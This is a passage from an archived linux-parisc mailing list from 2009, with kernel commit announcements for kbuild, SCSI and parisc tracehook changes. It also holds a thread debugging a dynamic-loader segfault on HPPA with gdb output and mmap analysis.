    conn. would be denied with message "cxgb3i: NOT going through cxgbi device."
    
    This patch adds code to get the real egress net_device when vlan is configured.
    
    Signed-off-by: Karen Xie <kxie@chelsio.com>
    Reviewed-by: Mike Christie <michaelc@cs.wisc.edu>
    Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>

commit 112942353992d95099fb5b71c679ff1046fccfcf
Author: Amerigo Wang <amwang@redhat.com>
Date:   Fri Jun 19 03:40:26 2009 -0400

    kbuild: finally remove the obsolete variable $TOPDIR
    
    TOPDIR is obsolete, it can be finally removed now.
    
    Signed-off-by: WANG Cong <amwang@redhat.com>
    Signed-off-by: Sam Ravnborg <sam@ravnborg.org>

commit c512d2544c688ff1fab18a530860a9c7440a71b7
Author: Jaswinder Singh Rajput <jaswinder@kernel.org>
Date:   Sat Jun 20 18:25:25 2009 +0530

    gitignore: ignore scripts/ihex2fw
    
    scripts/ihex2fw is a generated binary and should be ignored
    
    Signed-off-by: Jaswinder Singh Rajput <jaswinderrajput@gmail.com>
    Signed-off-by: Sam Ravnborg <sam@ravnborg.org>

commit a8735821d198675dd326cc5847e79df79c735119
Author: Floris Kraak <randakar@gmail.com>
Date:   Mon Jun 15 08:54:02 2009 +0300

    Kbuild: Disable the -Wformat-security gcc flag
    
    Some distributions have enabled the gcc flag -Wformat-security by default.
    This results in a number of warnings about format arguments to functions,
    sometimes in cases where fixing the warning is not likely to actually fix a
    bug.  Instead of hand patching a dozens of places (possibly more) that produce
    warnings that get ignored anyway we just turn off the flag in the Makefile.
    
    Signed-off-by: Floris Kraak <randakar@gmail.com>
    Signed-off-by: Pekka Enberg <penberg@cs.helsinki.fi>
    Signed-off-by: Sam Ravnborg <sam@ravnborg.org>

commit 7a6b1f1c0c492a6bb6f778dff0f9f5facb90d1a1
Author: Amerigo Wang <xiyou.wangcong@gmail.com>
Date:   Mon Jun 22 17:18:32 2009 +0800

    gitignore: ignore gcov output files
    
    Ignore *.gcno files which are generated by gcov.
    
    Signed-off-by: WANG Cong <xiyou.wangcong@gmail.com>
    Signed-off-by: Sam Ravnborg <sam@ravnborg.org>

commit 1ab18486e4e8bf9554d8439207b97422d7466d77
Author: maximilian attems <max@stro.at>
Date:   Fri Jun 26 20:04:36 2009 +0200

    kbuild: deb-pkg ship changelog
    
    In the series for 2.6.31 it was noticed to ship the copyright,
    but the generated changelog got lost somehow.
    
    As bonus the generated linux-image deb packages are Lenny lintian clean.
    
    Cc: Frans Pop <elendil@planet.nl>
    Cc: Andres Salomon <dilinger@debian.org>
    Signed-off-by: maximilian attems <max@stro.at>
    Signed-off-by: Sam Ravnborg <sam@ravnborg.org>

commit 857eceebd2803c9a3459f784acf45e5266921e4d
Author: Tim Abbott <tabbott@ksplice.com>
Date:   Tue Jun 23 19:59:36 2009 -0400

    Add new __init_task_data macro to be used in arch init_task.c files.
    
    This patch is preparation for replacing most ".data.init_task" in the
    kernel with macros, so that the section name can later be changed
    without having to touch a lot of the kernel.
    
    The long-term goal here is to be able to change the kernel's magic
    section names to those that are compatible with -ffunction-sections
    -fdata-sections.  This requires renaming all magic sections with names
    of the form ".data.foo".
    
    Signed-off-by: Tim Abbott <tabbott@ksplice.com>
    Signed-off-by: Sam Ravnborg <sam@ravnborg.org>

commit 39a449d96ac3db9b6d498b6ffbf4c763746d5e8b
Author: Tim Abbott <tabbott@ksplice.com>
Date:   Tue Jun 23 18:53:15 2009 -0400

    asm-generic/vmlinux.lds.h: shuffle INIT_TASK* macro names in vmlinux.lds.h
    
    We recently added a INIT_TASK(align) in include/asm-generic/vmlinux.lds.h,
    but there is already a macro INIT_TASK in include/linux/init_task.h, which
    is quite confusing.  We should switch the macro in the linker script to
    INIT_TASK_DATA. (Sorry that I missed this in reviewing the patch).  Since
    the macros are new, there is only one user of the INIT_TASK in
    vmlinux.lds.h, arch/mn10300/kernel/vmlinux.lds.S.
    
    However, we are currently using INIT_TASK_DATA for laying down an entire
    .data.init_task section.  So rename that to INIT_TASK_DATA_SECTION.
    
    I would be worried about changing the meaning of INIT_TASK_DATA, but the
    old INIT_TASK_DATA implementation had no users, and in fact if anyone had
    tried to use it, it would have failed to compile because it didn't pass
    the alignment to the old INIT_TASK.
    
    Signed-off-by: Tim Abbott <tabbott@ksplice.com>
    Cc: David Howells <dhowells@redhat.com>
    Cc: Jesper Nilsson <Jesper.Nilsson@axis.com
    Signed-off-by: Sam Ravnborg <sam@ravnborg.org>

commit d2af12aeadaedf657c9fb9c3df984d2c5ab25f4c
Author: Tim Abbott <tabbott@ksplice.com>
Date:   Tue Jun 23 19:59:35 2009 -0400

    Add new macros for page-aligned data and bss sections.
    
    This patch is preparation for replacing most uses of
    ".bss.page_aligned" and ".data.page_aligned" in the kernel with
    macros, so that the section name can later be changed without having
    to touch a lot of the kernel.
    
    The long-term goal here is to be able to change the kernel's magic
    section names to those that are compatible with -ffunction-sections
    -fdata-sections.  This requires renaming all magic sections with names
    of the form ".data.foo".
    
    Signed-off-by: Tim Abbott <tabbott@ksplice.com>
    Acked-by: David Howells <dhowells@redhat.com>
    Signed-off-by: Sam Ravnborg <sam@ravnborg.org>

commit 73f1d9391a6aa72efdcea2f302ee7bfcd313c631
Author: Paul Mundt <lethal@linux-sh.org>
Date:   Wed Jun 24 01:04:36 2009 +0900

    asm-generic/vmlinux.lds.h: Fix up RW_DATA_SECTION definition.
    
    RW_DATA_SECTION is defined to take 4 different alignment parameters,
    while NOSAVE_DATA currently uses a fixed PAGE_SIZE alignment as noted
    in the comments.
    
    There are presently no in-tree users of this at present, and I just
    stumbled across this while implementing the simplified script on a new
    architecture port, which subsequently resulted in a syntax error.
    
    Signed-off-by: Paul Mundt <lethal@linux-sh.org>
    Signed-off-by: Sam Ravnborg <sam@ravnborg.org>

commit 39562e783928e3ea9ee2cbce99a756ab48d3c06a
Author: Christof Schmitt <christof.schmitt@de.ibm.com>
Date:   Fri Jun 26 16:30:43 2009 +0200

    [SCSI] FC transport: Locking fix for common-code FC pass-through patch
    
    Fix this:
    ------------[ cut here ]------------
    Badness at block/blk-core.c:244
    CPU: 0 Tainted: G        W  2.6.31-rc1-00004-gd3a263a #3
    Process zfcp_wq (pid: 901, task: 000000002fb7a038, ksp: 000000002f02bc78)
    Krnl PSW : 0704300180000000 00000000002141ba (blk_remove_plug+0xb2/0xb8)
               R:0 T:1 IO:1 EX:1 Key:0 M:1 W:0 P:0 AS:0 CC:3 PM:0 EA:3
    Krnl GPRS: 0000000000000001 0000000000000001 0000000022811440 0000000022811798
               000000000027ff4e 0000000000000000 0000000000000000 000000002f00f000
               070000000006a0f4 000000002af70000 000000002af2a800 00000000228d1c00
               0000000022811440 000000000050c708 000000002f02bca8 000000002f02bc80
    Krnl Code: 00000000002141b0: b9140022		lgfr	%r2,%r2
               00000000002141b4: 07fe		bcr	15,%r14
               00000000002141b6: a7f40001		brc	15,2141b8
              >00000000002141ba: a7f4ffbe		brc	15,214136
               00000000002141be: 0707		bcr	0,%r7
               00000000002141c0: ebaff0680024	stmg %r10,%r15,104(%r15)
               00000000002141c6: c0d00017c2a9	larl	%r13,50c718
               00000000002141cc: a7f13fc0		tmll	%r15,16320
    Call Trace:
    ([<000000000050e7d8>] C.272.16122+0x88/0x110)
     [<00000000002141ec>] __blk_run_queue+0x2c/0x154
     [<000000000028013a>] fc_remote_port_add+0x85e/0x95c
     [<000000000037596e>] zfcp_scsi_rport_work+0xe6/0x148
     [<000000000006908c>] worker_thread+0x25c/0x318
     [<000000000006f10c>] kthread+0x94/0x9c
     [<000000000001c2b2>] kernel_thread_starter+0x6/0xc
     [<000000000001c2ac>] kernel_thread_starter+0x0/0xc
    INFO: lockdep is turned off.
    Last Breaking-Event-Address:
     [<00000000002141b6>] blk_remove_plug+0xae/0xb8
    
    The FC pass-through support triggers the WARN_ON(!irqs_disabled()) in
    blk_plug_device. Since blk_plug_device requires being called with
    disabled interrupts, use spin_lock_irqsave in fc_bsg_goose_queue to
    disable the interrupts before calling into the block layer.
    
    Signed-off-by: Christof Schmitt <christof.schmitt@de.ibm.com>
    Acked-by: James Smart <james.smart@emulex.com>
    Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>

commit d3a263a8168f78874254ea9da9595cfb0f3e96d7
Author: James Bottomley <James.Bottomley@HansenPartnership.com>
Date:   Wed Jun 24 19:55:22 2009 +0000

    [SCSI] zalon: fix oops on attach failure
    
    I recently discovered on my zalon that if the attachment fails because
    of a bus misconfiguration (I scrapped my HVD array, so the card is now
    unterminated) then the system oopses.  The reason is that if
    ncr_attach() returns NULL (signalling failure) that NULL is passed by
    the goto failed straight into ncr_detach() which oopses.
    
    The fix is just to return -ENODEV in this case.
    
    Cc: Stable Tree <stable@kernel.org>
    Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>

commit e3f47cc74bddea8121560026185ede4770170043
Author: Abhijeet Joglekar <abjoglek@cisco.com>
Date:   Wed Jun 24 07:42:25 2009 -0700

    [SCSI] fnic: use DMA_BIT_MASK(nn) instead of deprecated DMA_nnBIT_MASK
    
    Robert Love reported warning while building fnic_main.c:
    drivers/scsi/fnic/fnic_main.c:478: warning: `DMA_nnBIT_MASK' is deprecated.
    
    Replaced use of DMA_nnBIT_MASK by DMA_BIT_MASK(nn)
    
    Signed-off-by: Abhijeet Joglekar <abjoglek@cisco.com>
    Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>

commit 87a2d34b0372dcf6bc4caf4d97a7889f5e62a1af
Author: Roel Kluin <roel.kluin@gmail.com>
Date:   Tue Jun 23 01:06:40 2009 +0200

    [SCSI] fnic: remove redundant BUG_ONs and fix checks on unsigned
    
    The shost sg tablesize is set to FNIC_MAX_SG_DESC_CNT and fnic uses
    scsi_dma_map, so both BUG_ONs can be removed.
    
    scsi_dma_map may return -ENOMEM, sg_count should be int to catch that.
    
    Signed-off-by: Roel Kluin <roel.kluin@gmail.com>
    Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>

commit e08afeb7e69f45e4ab9fbb8530fe433484b96606
Author: Brian King <brking@linux.vnet.ibm.com>
Date:   Tue Jun 23 17:14:01 2009 -0500

    [SCSI] ibmvscsi: Fix module load hang
    
    Fixes a regression seen in the ibmvscsi driver when using the VSCSI
    server in SLES 9 and SLES 10. The VSCSI server in these releases
    has a bug in it in which it does not send responses to unknown MADs.
    Check the OS Type field in the adapter info response and do not send
    these unsupported commands when talking to an older server.
    
    Signed-off-by: Brian King <brking@linux.vnet.ibm.com>
    Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/tracehook
Date: Sun, 5 Jul 2009 20:02:35 GMT
Lines: 93
Approved: news@gmane.org
Message-ID: <200907052002.n65K2ZpR024335@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1246824169 7240 80.91.229.12 (5 Jul 2009 20:02:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 5 Jul 2009 20:02:49 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 05 22:02:43 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MNXv4-00058t-0T
	for glpp-linux-parisc@gmane.org; Sun, 05 Jul 2009 22:02:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753482AbZGEUCd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 5 Jul 2009 16:02:33 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753522AbZGEUCd
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 5 Jul 2009 16:02:33 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:38469 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753482AbZGEUCc (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 5 Jul 2009 16:02:32 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX187mds6FeDWiyjBeqnTnHg/1uWlTM0S62Y@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n65K2Zql024338
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Sun, 5 Jul 2009 20:02:36 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n65K2ZpR024335
	for linux-parisc@vger.kernel.org; Sun, 5 Jul 2009 20:02:35 GMT
X-Virus-Scanned: ClamAV 0.93.3/9538/Fri Jul  3 14:27:11 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Sun, 05 Jul 2009 20:02:36 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1860
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1860>

New commits:
commit abf01ee7f86ac2bee2982e1a840a3136312d895e
Author: Kyle McMartin <kyle@phobos.i.jkkm.org>
Date:   Sun Jul 5 16:01:51 2009 -0400

    parisc: HAVE_ARCH_TRACEHOOK
    
    Not-yet-signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 351d7bc3f587b79f08cdeb4033a53da90ed3bf58
Author: Kyle McMartin <kyle@phobos.i.jkkm.org>
Date:   Sun Jul 5 15:59:56 2009 -0400

    parisc: add skeleton syscall.h
    
    Needed for lib/syscall.c when HAVE_ARCH_TRACEHOOK.
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 73e89724292b34321d4c6e24cdd590e487c36e57
Author: Kyle McMartin <kyle@phobos.i.jkkm.org>
Date:   Sun Jul 5 15:08:57 2009 -0400

    parisc: stop using task->ptrace for {single,block}step flags
    
    task->ptrace flags belong to generic code, so instead thief some
    TIF_ bits to use. Somewhat risky conversion of code to test TASK_FLAGS
    instead of TASK_PTRACE in assembly, but it looks alright in the end.
    
    Not-yet-signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 2f0dda27f8e62c409e30125d420e89c762d0ea98
Author: Kyle McMartin <kyle@phobos.i.jkkm.org>
Date:   Sun Jul 5 14:36:16 2009 -0400

    parisc: split syscall_trace into two halves
    
    Instead of fiddling with gr[20], restructure code to return whether
    or not to -ENOSYS. (Also do a bit of fiddling to let them take
    pt_regs directly instead of re-computing it.)
    
    Not-yet-signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit abe61475751e54ffe5323983833c09c951baf0bc
Author: Kyle McMartin <kyle@phobos.i.jkkm.org>
Date:   Sun Jul 5 14:39:58 2009 -0400

    parisc: add missing TI_TASK macro in syscall.S
    
    LDREG 0(%r1),%r1 really wants to be accessing thread_info.task,
    instead of hardcoding the 0.
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit c7f25b66b4e990ecba247c334d540a6db4ab8ae1
Author: Kyle McMartin <kyle@phobos.i.jkkm.org>
Date:   Mon Apr 27 00:51:13 2009 -0400

    parisc: TIF_NOTIFY_RESUME
    
    Not-yet-signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 618525e21c173ef093872b41f4da3a6bb7de4252
Author: Kyle McMartin <kyle@phobos.i.jkkm.org>
Date:   Mon Apr 27 00:29:53 2009 -0400

    parisc: tracehook_signal_handler
    
    This makes parisc call the standard tracehook_signal_handler hook
    in <linux/tracehook.h> after setting up a signal handler.
    
    Not-yet-signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 686028921d47115fe807b7b9d3e035eee155baf0
Author: Kyle McMartin <kyle@phobos.i.jkkm.org>
Date:   Sun Apr 26 23:53:34 2009 -0400

    parisc: tracehook_report_syscall
    
    This makes parisc use the standard tracehook_report_syscall_entry
    and tracehook_report_syscall_exit hooks in <linux/tracehook.h>.
    
    To do this, we need to access current->thread.regs, and to know
    whether we're entering or exiting the syscall, so add this to
    syscall_trace.
    
    Not-yet-signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Sun, 5 Jul 2009 19:07:38 -0400 (EDT)
Lines: 65
Approved: news@gmane.org
Message-ID: <20090705230740.EE8624FC6@hiauly1.hia.nrc.ca>
References: <20090705171929.5C7205146@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1246835295 32237 80.91.229.12 (5 Jul 2009 23:08:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 5 Jul 2009 23:08:15 +0000 (UTC)
Cc: deller@gmx.de, kurt@roeckx.be, pkern@debian.org,
	debian-hppa@lists.debian.org, linux-parisc@vger.kernel.org,
	debian-release@lists.debian.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 06 01:08:06 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MNaoX-00007Y-Ij
	for glpp-linux-parisc@gmane.org; Mon, 06 Jul 2009 01:08:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754527AbZGEXIA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 5 Jul 2009 19:08:00 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754579AbZGEXIA
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 5 Jul 2009 19:08:00 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3992 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754527AbZGEXH7 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 5 Jul 2009 19:07:59 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id EE8624FC6; Sun,  5 Jul 2009 19:07:39 -0400 (EDT)
In-Reply-To: <20090705171929.5C7205146@hiauly1.hia.nrc.ca> from "John David Anglin" at Jul 5, 2009 01:19:27 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1861 gmane.linux.debian.ports.hppa:5809 gmane.linux.debian.devel.release:31020
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1861>

> (gdb) p *(*preloads)->l_next
> $11 = {l_addr = 1076473856, l_name = 0x40000e78 "/lib/libdl.so.2", 
>   l_ld = 0x4029e5fc, l_next = 0x40001118, l_prev = 0x40000bf0, 
>   l_real = 0x40000e88, l_ns = 0, l_libname = 0x400010dc, l_info = {0x0, 
>   0x4029e5fc, 0x0 <repeats 74 times>}, l_phdr = 0x4029b034, 
>   l_entry = 1076477148, l_phnum = 7, l_ldnum = 31, l_searchlist = {
>   r_list = 0x0, r_nlist = 0}, l_symbolic_searchlist = {r_list = 0x400010d8, 
>   r_nlist = 0}, l_loader = 0x403d8880, l_versions = 0x0, l_nversions = 0, 
>   l_nbuckets = 0, l_gnu_bitmask_idxbits = 0, l_gnu_shift = 0, 
>   l_gnu_bitmask = 0x0, {l_gnu_buckets = 0x0, l_chain = 0x0}, {
>   l_gnu_chain_zero = 0x0, l_buckets = 0x0}, l_direct_opencount = 0, 
>   l_type = lt_library, l_relocated = 0, l_init_called = 0, l_global = 0, 
>   l_reserved = 1, l_phdr_allocated = 0, l_soname_added = 0, l_faked = 0, 
>   l_need_tls_init = 0, l_used = 0, l_auditing = 0, l_audit_any_plt = 0, 
>   l_removed = 0, l_contiguous = 1, l_rpath_dirs = {dirs = 0x0, malloced = 0}, 
>   l_reloc_result = 0x0, l_versyms = 0x0, l_origin = 0x400010f8 "/lib", 
>   l_map_start = 1076473856, l_map_end = 1076488476, l_text_end = 1076490240, 
>   l_scope_mem = {0x403d89dc, 0x0, 0x0, 0x0}, l_scope_max = 4, 
>   l_scope = 0x40001040, l_local_scope = {0x40000fe4, 0x0}, l_dev = 536937216, 
>   l_ino = 641559, l_runpath_dirs = {dirs = 0x0, malloced = 0}, 
>   l_initfini = 0x0, l_reldepsmax = 0, l_reldeps = 0x0, l_feature_1 = 0, 
>   l_flags_1 = 0, l_flags = 0, l_idx = 0, l_mach = {fptr_table_len = 0, 
>   fptr_table = 0x0}, l_lookup_cache = {sym = 0x0, type_class = 0, 
>   value = 0x0, ret = 0x0}, l_tls_initimage = 0x0, l_tls_initimage_size = 0, 
>   l_tls_blocksize = 0, l_tls_align = 0, l_tls_firstbyte_offset = 0, 
>   l_tls_offset = 0, l_tls_modid = 0, l_relro_addr = 0, l_relro_size = 0, 
>   l_serial = 3, l_audit = 0x400010d8}
> 
> (gdb) p &(*preloads)->l_next->l_info
> $14 = (Elf32_Dyn *(*)[76]) 0x40000ea8
> (gdb) p (*preloads)->l_next->l_info
> $15 = {0x0, 0x4029e5fc, 0x0 <repeats 74 times>}
> (gdb) p/x 0x40000ea8 + 5 * 4
> $17 = 0x40000ebc
> 
> So, the segmentation fault was caused by a 0x0 in the l_info field of
> the link map for "/lib/libdl.so.2".

After staring at the dynamic loader code for a while, I think the following
mmap call in dl-load.c doesn't correctly map the info data for /lib/libdl.so.2.

        /* Remember which part of the address space this object uses.  */
	l->l_map_start = (ElfW(Addr)) __mmap ((void *) mappref, maplength,
					      c->prot,
					      MAP_COPY|MAP_FILE,
					      fd, c->mapoff);

The info data is near the end of the mapped segment.  The l_info field
is initialized by elf_get_dynamic_info from the dynamic data mapped
at l->ld.

I seem to recall that the kernel mmap implementation on hppa is somewhat
unique.

In the above call, mappref is NULL.  The kernel selects the map location.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Sun, 5 Jul 2009 19:59:59 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <119aab440907051659p5d3cb93dk1034ce053034d192@mail.gmail.com>
References: <4A506D2C.6080801@gmx.de>
	 <20090705171929.5C7205146@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1246838412 5066 80.91.229.12 (6 Jul 2009 00:00:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 6 Jul 2009 00:00:12 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, kurt@roeckx.be, pkern@debian.org,
	debian-hppa@lists.debian.org, linux-parisc@vger.kernel.org,
	debian-release@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 06 02:00:04 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MNbcp-0002kT-Jr
	for glpp-linux-parisc@gmane.org; Mon, 06 Jul 2009 02:00:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755030AbZGEX76 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 5 Jul 2009 19:59:58 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755979AbZGEX76
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 5 Jul 2009 19:59:58 -0400
Original-Received: from mail-ew0-f211.google.com ([209.85.219.211]:49411 "EHLO
	mail-ew0-f211.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755030AbZGEX75 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 5 Jul 2009 19:59:57 -0400
Original-Received: by ewy7 with SMTP id 7so1327154ewy.37
        for <linux-parisc@vger.kernel.org>; Sun, 05 Jul 2009 17:00:00 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=mAbsqjEkiVKPsDdBIB4SgfCWw0IKK4AsG9oOKYlv/og=;
        b=gCyiunKiYklykeK33UG9fufG6yRs7PoRBSj/uEsZjzZKcAl5PdELpY/zz8EL/IhYPM
         rUEhCWFPLGkOkZ+p89UdfHKhvBgU66Ks3cRmuzJx4UzNZZ4TO3XwOHJsPwQtDtrbJ3rK
         5JJqeWCyrk6sU0Sj48Cl/k1q+w7haREXL9hMY=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=Yj4t1huNkE7UUcTel/knDveZIuIk2krFTCzD0dkIFaKzcLD0cQxrHlzyu9iL3wSLoR
         dnWYN/L+4r5qbRhJUuQNmdOklPmMTzsrOlYnqZI6HoCwZbtO0m1z7ZsS1ab19SvxfExQ
         23EeWocVq1A6N+THb8X0uAQ7LV0V/ihfLRaE4=
Original-Received: by 10.216.2.207 with SMTP id 57mr1024276wef.174.1246838399741; Sun, 
	05 Jul 2009 16:59:59 -0700 (PDT)
In-Reply-To: <20090705171929.5C7205146@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: d31b84257e220c9f
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1862 gmane.linux.debian.ports.hppa:5810 gmane.linux.debian.devel.release:31021
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1862>

On Sun, Jul 5, 2009 at 1:19 PM, John David
Anglin<dave@hiauly1.hia.nrc.ca> wrote:
> Carlos, what do you think?

I think the dynamic linker is always the first to touch the mmap'd
file and therefore the most likely to fail if something is wrong in
our VM layer.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Sun, 5 Jul 2009 20:03:19 -0400
Lines: 45
Approved: news@gmane.org
Message-ID: <119aab440907051703y2bc7e71fnbddefa5dc0773f3@mail.gmail.com>
References: <20090705171929.5C7205146@hiauly1.hia.nrc.ca>
	 <20090705230740.EE8624FC6@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1246838614 5477 80.91.229.12 (6 Jul 2009 00:03:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
